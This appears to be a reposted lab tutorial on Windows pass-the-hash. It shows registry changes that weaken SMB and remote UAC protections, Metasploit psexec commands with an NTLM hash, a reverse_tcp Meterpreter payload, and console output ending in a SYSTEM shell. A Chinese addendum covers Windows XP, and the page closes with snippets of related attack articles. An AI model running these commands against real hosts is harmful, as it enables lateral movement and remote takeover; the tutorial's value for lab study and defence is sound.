Hacking Windows Passwords with Pass the Hash

Hacking Windows Passwords with Pass the Hash

Leave a reply

In Windows, you don’t always need to know the actual password to get onto a system (believe it or not).  All you need is the hash of that password, and you can get in just as easily.

Setup Your Testbed

This is meant to simply be an extension to the previous post.  Simply use a Windows 7 system.  All you need to add is a single Windows share.  What you share doesn’t matter.  The same password hashes that were found before will be used again.

You may need to set a registry key in case you have an error listed later.  The key is ”HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters” with ”RequireSecuritySignature” set to ”0″ (as described here. I did not need this, but notice that is a good mitigation).

Another registry key you may need for the same error is under the following: “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System”.  This time you’ll need to add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1  (as described here and here. I DID need this).  Basically, local users by default are not allowed to perform administrative actions.  This registry key gets around that problem.  A domain account would not have this issue.

Attack

How do you find a vulnerable host?

All you need is a password hash to a system that has SMB file sharing open (port 445).

How do you attack that host?

Metasploit has a pass the hash module called exploit/windows/smb/psexec.  In fact if you run a “search psexec” on the Metasploit console, you’ll see about 4 modules to use pass the hash for different things.  For our host, we’re simply going to use psexec to drop a meterpreter payload.

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set RHOST 192.168.1.5
msf exploit(psexec) > set LHOST 192.168.1.6
msf exploit(psexec) > set SMBUser JoeTest
msf exploit(psexec) > set SMBPass 00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309
msf exploit(psexec) > exploit

[*] Started reverse handler on 192.168.1.6:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.1.5:445|WORKGROUP as user ‘JoeTest‘...
[*] Uploading payload...
[*] Created \NWKrjfhn.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:[email protected]_np:192.168.1.5[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:[email protected]_np:192.168.1.5[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (OXAZLqCq - "MSmGGmzvjJKdbAEMwVE")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \NWKrjfhn.exe...
[*] Sending stage (752128 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:49393) at 2013-02-18 10:38:09 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

And you’re in!  Hopefully.  If not, read the troubleshooting tips below:

First, a little troubleshooting.  If you get the following response:

[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)

This means you’ve got bad credentials.  Most likely, you only put the NTLM hash (E5810F3C99AE2ABB2232ED8458A61309) instead of both the blank LANMAN hash and the NTLM hash together as this module expects (00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309)

If you get the following response:

[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)

This means you didn’t set the registry keys explained in the Setup step (likely the second one).

Other references:
https://community.rapid7.com/community/metasploit/blog/2013/03/09/psexec-demystified

---------------------------------------------------------------------------------------------------------------------

ccy有话要说:

ccy的目标机:windows xp sp2

打开/opt/framework/msf3/module/exploits/windows/smb/psexec.rb文件,可以看到这么一段:

=begin

Windows XP systems that are not part of a domain default to treating all

network logons as if they were Guest. This prevents SMB relay attacks from

gaining administrative access to these systems. This setting can be found

under:

Local Security Settings >

Local Policies >

Security Options >

Network Access: Sharing and security model for local accounts

=end

so,目标机WinXP需要到本地安全设置-->本地策略-->安全选项-->网络访问:本地账户的共享和安全模式,将“仅来宾--本地用户以来宾身份验证" 改为 "经典--本地用户以自己身份验证"。

当然,安装上文所述,注册表该改的还是要改。

然后,实验成功。

原文地址:https://www.cnblogs.com/betong/p/12178362.html

时间: 2024-08-30 16:54:18

Hacking Windows Passwords with Pass the Hash的相关文章

哈希传递PTH(pass the hash)

pass the hash原理: 在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser) ,其中hash(哈希)分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash. 从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash,如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成h

windows 2003 windows 2008 windows 2012 导出域控hash的方法

quarkspwdump作者介绍的用法: 1. Windows 2008       Microsoft recently implements VSS (Volume Shadow Copy Service) which allow an administrator to make   filesystem snapshots while the operating is running and writing to current backuped files.       Here is

Windows校验文件哈希hash的两种常用方式

大家经常都到哪儿去下载软件和应用程序呢?有没想过下载回来的软件.应用程序或资源是否安全呢?在 Windows 10 和 Office 2016 发布当初,很多没权限的朋友都使用第三方网站去下载安装映像.而大家如何保证自己下载回来的映像或软件就是官方版本,而没有被别人篡改过呢? 很多朋友会想到将下载回来的资源校验 MD5 或 SHA1 与官方版哈希值进行对比,如果无误则表示未被篡改.大家平常在 Windows 中都使用何种工具算校验值呢?本文向大家推荐 Windows 校验文件哈希的两种常用方式.

Windows 10:现代化世界中安全与身份的守卫者

Windows 10 技术预览版带来了超多惊喜和震撼,其中,Windows Insider 计划取得了难以置信的进展,最近的总注册人数突破了 100 万大关,并获得了超过 200000 条用户反馈.感谢您注册此项计划,并为我们提供宝贵的反馈意见!我们希望 Windows 10 真正迎合您的业务需求,我早已迫不及待亲眼见证目前发生的一切.我的前一篇博客文章中提到了我已经开始跟进的一些重点领域.今天,我要重点讲述 Windows 10 中的安全性,自从我们正式发布技术预览版以来,我亲身经历的很多客户

General Purpose Hash Function Algorithms

General Purpose Hash Function Algorithms [email protected]: http://www.partow.net/programming/hashfunctions/index.html     Description Hashing Methodologies Hash Functions and Prime Numbers Bit Biases Various Forms Of Hashing String Hashing Cryptogra

Hash校验工具、MD5 SHA1 SHA256命令行工具

MyHash 检验工具http://www.zdfans.com/html/4346.html HashMyFiles Hash校验工具http://www.nirsoft.net/utils/hash_my_files.html Windows自带MD5 SHA1 SHA256命令行工具 2018年03月07日 01:25:11 Sq-List 阅读数:6257 标签: SHA1MD5SHA256命令行Windows 更多 个人分类: hash加密 certutil -hashfile  <文

彻底理解windows 2

NTLM v2协议 NTLM v1与NTLM v2最显著的区别就是challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash. 不同之处: Challenge:NTLM v1的challenge有8位,NTLM v2的challenge为16位. Net-NTLM Hash:NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5. Pass The Hash (哈希传递) 在内网渗透中,我们经常会需要抓取管理员的密码.NTLM Hash,尤其是域环

Windows API参考大全新编

书名:新编Windows API参考大全 作者:本书编写组 页数:981页 开数:16开 字数:2392千字 出版日期:2000年4月第二次印刷 出版社:电子工业出版社 书号:ISBN 7-5053-5777-8 定价:98.00元 内容简介 作为Microsoft 32位平台的应用程序编程接口,Win32 API是从事Windows应用程序开发所必备的.本书首先对Win32 API函数做完整的概述:然后收录五大类函数:窗口管理.图形设备接口.系统服务.国际特性以及网络服务:在附录部分,讲解如何

域攻击策略

https://adsecurity.org/?p=2362 Attack Methods for Gaining Domain Admin Rights in Active Directory ActiveDirectorySecurity, Microsoft Security, Technical Reference by Sean Metcalf There are many ways an attacker can gain Domain Admin rights in Active